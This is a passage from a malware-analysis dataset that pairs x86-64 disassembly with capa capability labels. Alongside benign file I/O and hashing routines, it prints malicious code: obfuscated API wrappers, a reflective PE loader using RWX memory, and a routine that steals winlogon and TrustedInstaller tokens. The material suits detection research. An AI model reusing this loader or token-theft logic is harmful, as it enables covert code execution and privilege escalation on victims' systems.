joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140058ed0
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x140058ef8
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x140058f1e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140058f20
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140058f79
test ecx, ecx
jle 0x140058f59
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140058f79
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140058f79
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret

Function at 0x140058fa0
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x140058fc2
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x140058fd8
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140058ff4
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140058ff6
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140059032
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x1400590ce
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x14005906d
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x1400590ae
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x1400590ce
cmp rbx, rax
ja 0x140059080
test rbx, rbx
je 0x1400590ce
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
Function at 0x140059500
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x1400a3010]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14005952d
xor eax, eax
jmp 0x140059699
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x140059567
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x140059567
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x140059699
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x14005968c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x1400595aa
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x1400595d5
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140059691
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140059644
sub eax, 1
je 0x140059644
cmp eax, 2
jne 0x14005968c
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140059691
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140059672
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x14005968c
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x140059691
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.14006a270
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret

Function at 0x14005a020
Capabilities:
Hash data using fnv

Disassembly:
movzx ecx, byte [rdx + 2]
movabs r9, 0x100000001b3
movzx r8d, byte [rdx]
movabs rax, 0xcbf29ce484222325
xor r8, rax
movzx eax, byte [rdx + 1]
imul r8, r9
xor rax, r8
imul rax, r9
xor rax, rcx
movzx ecx, byte [rdx + 3]
imul rax, r9
xor rax, rcx
imul rax, r9
ret
Function at 0x14005b080
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x1400a3010]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x14005b153
cmp byte [rcx + 0x71], 0
je 0x14005b153
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x14005b14f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x14005b114
sub eax, 1
je 0x14005b118
cmp eax, 2
jne 0x14005b14f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14006a270
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x14005b146
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x14005b14f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14005b0fc
xor al, al
jmp 0x14005b0fc
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14006a270
add rsp, 0x60
pop rbx
ret

Function at 0x14006a140
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, rdx
lea r8, [rsp + 0x60]
mov ebx, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov r8d, ebx
mov ecx, 0x1300
neg eax
sbb r9d, r9d
and qword [rsp + 0x30], 0
and r9d, dword [rsp + 0x60]
xor edx, edx
and dword [rsp + 0x28], 0
mov dword [rsp + 0x60], r9d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x14006a1c4
mov r8, qword [rdi]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x14006ea70]
cmp byte [rcx + rax], 0
je 0x14006a1c4
dec r8
sub rdx, 1
jne 0x14006a1aa
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x14006afb4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14006affe
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14006affe
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14006affe
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14006affe
cmp dword [rcx + 0x84], 0xe
jbe 0x14006affe
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14006b000
xor al, al
add rsp, 0x28
ret
Function at 0x180002d50
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov dword [rsp + 0x20], r9d
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x68
mov eax, dword [rsp + 0x90]
add eax, 0x8f6
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x80]
sub eax, 0x2540
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x80]
xor eax, 0x30f2
mov dword [rsp + 0x2c], eax
mov eax, dword [rsp + 0x98]
sub eax, 0x6c1
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x98]
sub eax, 0x2ae
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x70]
xor eax, 0xc09
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x90]
sub eax, 0x19a5
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x88]
sub eax, 0x509
mov dword [rsp + 0x4c], eax
mov eax, dword [rsp + 0x88]
xor eax, 0x2ddb
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x80]
sub eax, 0xf8e
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x2c]
xor eax, 0xc17
cmp dword [rsp + 0x28], eax
je 0x180002e49
mov rax, qword [rsp + 0x78]
mov eax, dword [rax + 0x9c]
sub eax, 0x962ff
mov rcx, qword [rsp + 0x78]
mov ecx, dword [rcx + 0x28]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x78]
mov dword [rcx + 0x28], eax
mov eax, dword [rsp + 0x24]
sub eax, 0xcfd
mov dword [rsp + 0x24], eax
jmp 0x180002ee8
mov rax, qword [rsp + 0x78]
mov eax, dword [rax + 0x90]
mov dword [rsp + 0x20], eax
jmp 0x180002e65
mov eax, dword [rsp + 0x20]
add eax, 2
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x30]
mov ecx, dword [rsp + 0x34]
sub ecx, eax
mov eax, ecx
cmp dword [rsp + 0x20], eax
jge 0x180002ee8
mov eax, dword [rsp + 0x38]
sub eax, 0x2540
sub eax, dword [rsp + 0x28]
mov dword [rsp + 0x44], eax
mov eax, 4
imul rax, rax, 0
mov rcx, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x78]
mov eax, dword [rdx + rax + 0x3c]
mov ecx, dword [rcx + 0x38]
sub ecx, eax
mov eax, ecx
mov ecx, 4
imul rcx, rcx, 3
mov rdx, qword [rsp + 0x78]
and eax, dword [rdx + rcx + 0xa4]
mov dword [rsp + 0x40], eax
mov rax, qword [rsp + 0x78]
mov eax, dword [rax + 0x48]
sub eax, 0x26d3
mov dword [rsp + 0x3c], eax
mov r8d, dword [rsp + 0x3c]
mov edx, dword [rsp + 0x40]
mov ecx, dword [rsp + 0x44]
call qword [sym.imp.KERNEL32.dll_OpenThread]
jmp 0x180002e5a
mov eax, dword [rsp + 0x2c]
add rsp, 0x68
ret
Function at 0x180004660
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov dword [rsp + 0x20], r9d
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x68
mov eax, dword [rsp + 0x98]
add eax, 0x2ae
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0xa0]
sub eax, 0x13cb
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x70]
sub eax, 0xce8
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x70]
add eax, 0xb55
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x80]
xor eax, 0xcc1
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0xa0]
xor eax, 0x326b
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x98]
add eax, 0x8ea
mov dword [rsp + 0x2c], eax
mov eax, dword [rsp + 0x88]
sub eax, 0x5eb
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x98]
xor eax, 0x6e4
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x24]
add eax, 0xe86
cmp dword [rsp + 0x2c], eax
je 0x1800047f7
mov eax, dword [rsp + 0x24]
add eax, 0xdbe
cmp dword [rsp + 0x2c], eax
jge 0x180004745
mov rax, qword [rsp + 0x78]
lea rcx, [0x1800af020]
mov qword [rax + 0x70], rcx
mov eax, dword [rsp + 0x20]
add eax, 0x10b4
mov dword [rsp + 0x20], eax
jmp 0x1800047f7
mov eax, dword [rsp + 0x30]
or eax, 0x2d13
mov rcx, qword [rsp + 0x78]
sub eax, dword [rcx + 0x2c]
cmp dword [rsp + 0x20], eax
jb 0x1800047f7
mov eax, dword [rsp + 0x20]
mov dword [rsp + 0x28], eax
jmp 0x180004775
mov eax, dword [rsp + 0x28]
add eax, 2
mov dword [rsp + 0x28], eax
mov eax, 4
imul rax, rax, 2
mov rcx, qword [rsp + 0x78]
mov eax, dword [rcx + rax + 0xa4]
add eax, dword [rsp + 0x34]
and eax, dword [rsp + 0x24]
cmp dword [rsp + 0x28], eax
jbe 0x1800047f7
mov eax, 4
imul rax, rax, 3
mov rcx, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x78]
mov eax, dword [rdx + rax + 0xa4]
mov ecx, dword [rcx + 0x98]
xor ecx, eax
mov eax, ecx
mov eax, eax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x78]
mov eax, dword [rax + 0x98]
mov ecx, dword [rsp + 0x38]
or ecx, eax
mov eax, ecx
sub eax, 0x2ddb
mov eax, eax
mov qword [rsp + 0x48], rax
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
jmp 0x18000476a
mov eax, dword [rsp + 0x3c]
add eax, 0x3f3
add rsp, 0x68
ret
Function at 0x180008250
Capabilities:
Get file attributes
Resolve function by parsing pe exports

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov dword [rsp + 8], ecx
sub rsp, 0x58
mov eax, dword [rsp + 0x68]
add eax, 0x37c
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x78]
xor eax, 0x3990
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x80]
sub eax, 0x297d
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x88]
sub eax, 0x1b76
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x68]
add eax, 0x1121
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x68]
add eax, 0xc20
mov dword [rsp + 0x2c], eax
mov eax, dword [rsp + 0x78]
add eax, 0x785
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x68]
add eax, 0x3f3
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x2c]
xor eax, 0x3e87
cmp dword [rsp + 0x20], eax
je 0x1800082f0
mov eax, dword [rsp + 0x20]
xor eax, 0x1d
mov dword [rsp + 0x20], eax
jmp 0x180008342
mov eax, dword [rsp + 0x30]
mov dword [rsp + 0x24], eax
jmp 0x180008304
mov eax, dword [rsp + 0x24]
inc eax
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x34]
and eax, 0x1c5f
mov rcx, qword [rsp + 0x70]
or eax, dword [rcx + 0x90]
cmp dword [rsp + 0x24], eax
jb 0x180008342
mov rax, qword [rsp + 0x70]
mov eax, dword [rax + 0x2c]
mov ecx, dword [rsp + 0x28]
sub ecx, eax
mov eax, ecx
mov eax, eax
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
jmp 0x1800082fa
mov eax, dword [rsp + 0x28]
add eax, 0x8e1
add rsp, 0x58
ret
Function at 0x1800215a0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x20], r9
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
mov dword [rsp + 8], ecx
sub rsp, 0x68
mov eax, dword [rsp + 0xa8]
add eax, 0xab
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0xb0]
xor eax, 0x1f55
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0xa8]
xor eax, 0x28d2
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x90]
sub eax, 0x13cb
mov dword [rsp + 0x2c], eax
mov eax, dword [rsp + 0x98]
sub eax, 0xb4
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x98]
add eax, 0x64c
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x80]
xor eax, 0x8b
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x90]
sub eax, 0xe07
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x34]
xor eax, 0x348d
cmp dword [rsp + 0x2c], eax
jg 0x1800217f1
mov eax, dword [rsp + 0x20]
xor eax, 0xcb0
cmp dword [rsp + 0x34], eax
jle 0x1800216c1
mov eax, 4
imul rax, rax, 1
mov rcx, qword [rsp + 0x88]
mov eax, dword [rcx + rax + 0x88]
xor eax, 0x1663b7
mov rcx, qword [rsp + 0x88]
mov ecx, dword [rcx + 0xa0]
imul ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x88]
mov dword [rcx + 0xa0], eax
mov eax, dword [rsp + 0x20]
add eax, 0x627
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x88]
mov ecx, dword [rcx + 0xa0]
mov dword [rax + 0x64], ecx
jmp 0x1800217f1
mov rax, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x88]
mov eax, dword [rax + 0x44]
imul eax, dword [rcx + 0x48]
add eax, dword [rsp + 0x20]
cmp dword [rsp + 0x30], eax
jb 0x1800217f1
mov eax, dword [rsp + 0x30]
mov dword [rsp + 0x24], eax
jmp 0x1800216fb
mov eax, dword [rsp + 0x24]
add eax, 4
mov dword [rsp + 0x24], eax
mov rax, qword [rsp + 0x88]
mov eax, dword [rax + 0x2c]
add eax, 0x2ee0
cmp dword [rsp + 0x24], eax
jae 0x1800217f1
mov eax, 4
imul rax, rax, 0
mov rcx, qword [rsp + 0x88]
mov eax, dword [rcx + rax + 0xb8]
mov dword [rsp + 0x28], eax
jmp 0x18002173d
mov eax, dword [rsp + 0x28]
inc eax
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x88]
mov eax, dword [rax + 0x90]
sub eax, 0x19b1
cmp dword [rsp + 0x28], eax
jae 0x1800217ec
mov eax, dword [rsp + 0x38]
mov ecx, dword [rsp + 0x2c]
or ecx, eax
mov eax, ecx
cdqe
mov qword [rsp + 0x50], rax
mov eax, 4
imul rax, rax, 0
mov rcx, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x88]
mov edx, dword [rdx + 0x18]
mov eax, dword [rcx + rax + 0xb8]
xor eax, edx
mov eax, eax
mov qword [rsp + 0x48], rax
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov eax, dword [rsp + 0x2c]
xor eax, 0x2286
mov ecx, 4
imul rcx, rcx, 3
mov rdx, qword [rsp + 0x88]
add eax, dword [rdx + rcx + 8]
mov rcx, qword [rsp + 0x88]
mov ecx, dword [rcx + 0xb4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x88]
mov dword [rcx + 0xb4], eax
jmp 0x180021733
jmp 0x1800216f0
mov eax, dword [rsp + 0x30]
sub eax, 0xab
add rsp, 0x68
ret
Function at 0x180003c90
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
movsxd r15, dword [rcx + 0x3c]
mov rbp, rcx
add r15, rcx
mov r8d, 0x3000
xor ecx, ecx
mov qword [rsp + 0x30], r15
mov edx, dword [r15 + 0x50]
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [r15 + 0x54]
mov rdx, rbp
mov r13, rax
mov rcx, rax
sub r13, qword [r15 + 0x30]
mov rsi, rax
call fcn.18000f980
movzx ebx, word [r15 + 0x14]
xor r14d, r14d
add rbx, 0x2c
mov edi, r14d
cmp r14w, word [r15 + 6]
jae 0x180003d25
add rbx, r15
nop dword [rax + rax]
mov edx, dword [rbx]
mov ecx, dword [rbx - 8]
add rdx, rbp
mov r8d, dword [rbx - 4]
add rcx, rsi
call fcn.18000f980
movzx eax, word [r15 + 6]
lea rbx, [rbx + 0x28]
inc rdi
cmp rdi, rax
jb 0x180003d00
mov rax, qword [r15 + 0xb0]
mov r12d, eax
add r12, rsi
mov qword [rsp + 0x98], rax
shr rax, 0x20
mov qword [rsp + 0x90], r12
test eax, eax
je 0x180003e03
mov ecx, 0x1000
nop dword [rax]
nop word [rax + rax]
mov r15d, r14d
add r14d, 8
add r15, r12
mov edi, r14d
add rdi, r12
mov eax, dword [r15 + 4]
sub rax, 8
shr rax, 1
test eax, eax
je 0x180003df0
mov ebp, eax
lea r14d, [r14 + rax*2]
xor r12d, r12d
movzx eax, word [rdi]
cmp ax, cx
jb 0x180003dde
and eax, 0xfff
mov qword [rsp + 0x80], r12
add eax, dword [r15]
mov ebx, eax
add rbx, rsi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 8
mov qword [rsp + 0x20], r12
mov rcx, rax
lea r8, [rsp + 0x80]
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rax, qword [rsp + 0x80]
lea rcx, [rax + r13]
mov qword [rbx], rcx
mov ecx, 0x1000
add rdi, 2
sub rbp, 1
jne 0x180003d88
mov r12, qword [rsp + 0x90]
cmp r14d, dword [rsp + 0x9c]
jb 0x180003d60
mov r15, qword [rsp + 0x30]
mov r14d, dword [r15 + 0x90]
add r14, 0xc
add r14, rsi
mov eax, dword [r14]
test eax, eax
je 0x180003e74
nop dword [rax + rax]
mov ecx, eax
add rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
je 0x180003e68
mov ebx, dword [r14 + 4]
add rbx, rsi
mov rcx, qword [rbx]
test rcx, rcx
je 0x180003e68
jns 0x180003e49
movzx edx, cx
jmp 0x180003e50
lea rdx, [rsi + 2]
add rdx, rcx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx], rax
add rbx, 8
mov rcx, qword [rbx]
test rcx, rcx
jne 0x180003e42
mov eax, dword [r14 + 0x14]
add r14, 0x14
test eax, eax
jne 0x180003e20
mov rax, qword gs:[0x58]
mov edx, dword [r15 + 0x28]
add rdx, rsi
mov rcx, qword [rax]
movabs rax, 0x8000000000000000
mov qword [rcx], rax
call rdx
mov rbx, qword [rsp + 0x88]
mov eax, 1
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x180003fb0
Capabilities:
Enumerate processes
Query service status
Start service

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x2a0
mov rax, qword [0x1801801a0]
test rax, rax
jne 0x180004171
xor edx, edx
lea rcx, [rsp + 0x64]
mov r8d, 0x234
call fcn.180010030
xor esi, esi
xor edx, edx
mov edi, esi
lea ecx, [rsi + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x18000416f
lea rdx, [rsp + 0x60]
mov dword [rsp + 0x60], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x180004060
nop dword [rax]
nop dword [rax + rax]
lea rdx, [rsp + 0x8c]
lea rcx, str.winlogon.exe
call fcn.1800128dc
test eax, eax
je 0x18000405c
lea rdx, [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x180004030
jmp 0x180004060
mov edi, dword [rsp + 0x68]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x18000416f
mov ecx, edi
call fcn.180003ec0
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x18000416f
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x18000416f
mov edi, 0x32
xor edx, edx
xor ecx, ecx
lea r8d, [rdi - 0x31]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rbp, rax
test rax, rax
je 0x18000416f
lea r8d, [rdi - 0x1e]
mov rcx, rax
lea rdx, str.TrustedInstaller
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rbx, rax
test rax, rax
je 0x180004152
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x50], eax
movups xmmword [rsp + 0x40], xmm0
nop
lea rax, [rsp + 0x2b0]
mov r9d, 0x24
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x180004133
mov eax, dword [rsp + 0x34]
cmp eax, 4
je 0x180004145
cmp eax, 1
jne 0x180004133
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_StartServiceW]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
add edi, 0xffffffff
jne 0x1800040f0
jmp 0x180004149
mov esi, dword [rsp + 0x4c]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbp
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test esi, esi
je 0x18000416f
mov ecx, esi
call fcn.180003ec0
mov qword [0x1801801a0], rax
jmp 0x180004171
xor eax, eax
lea r11, [rsp + 0x2a0]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x1800048f0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
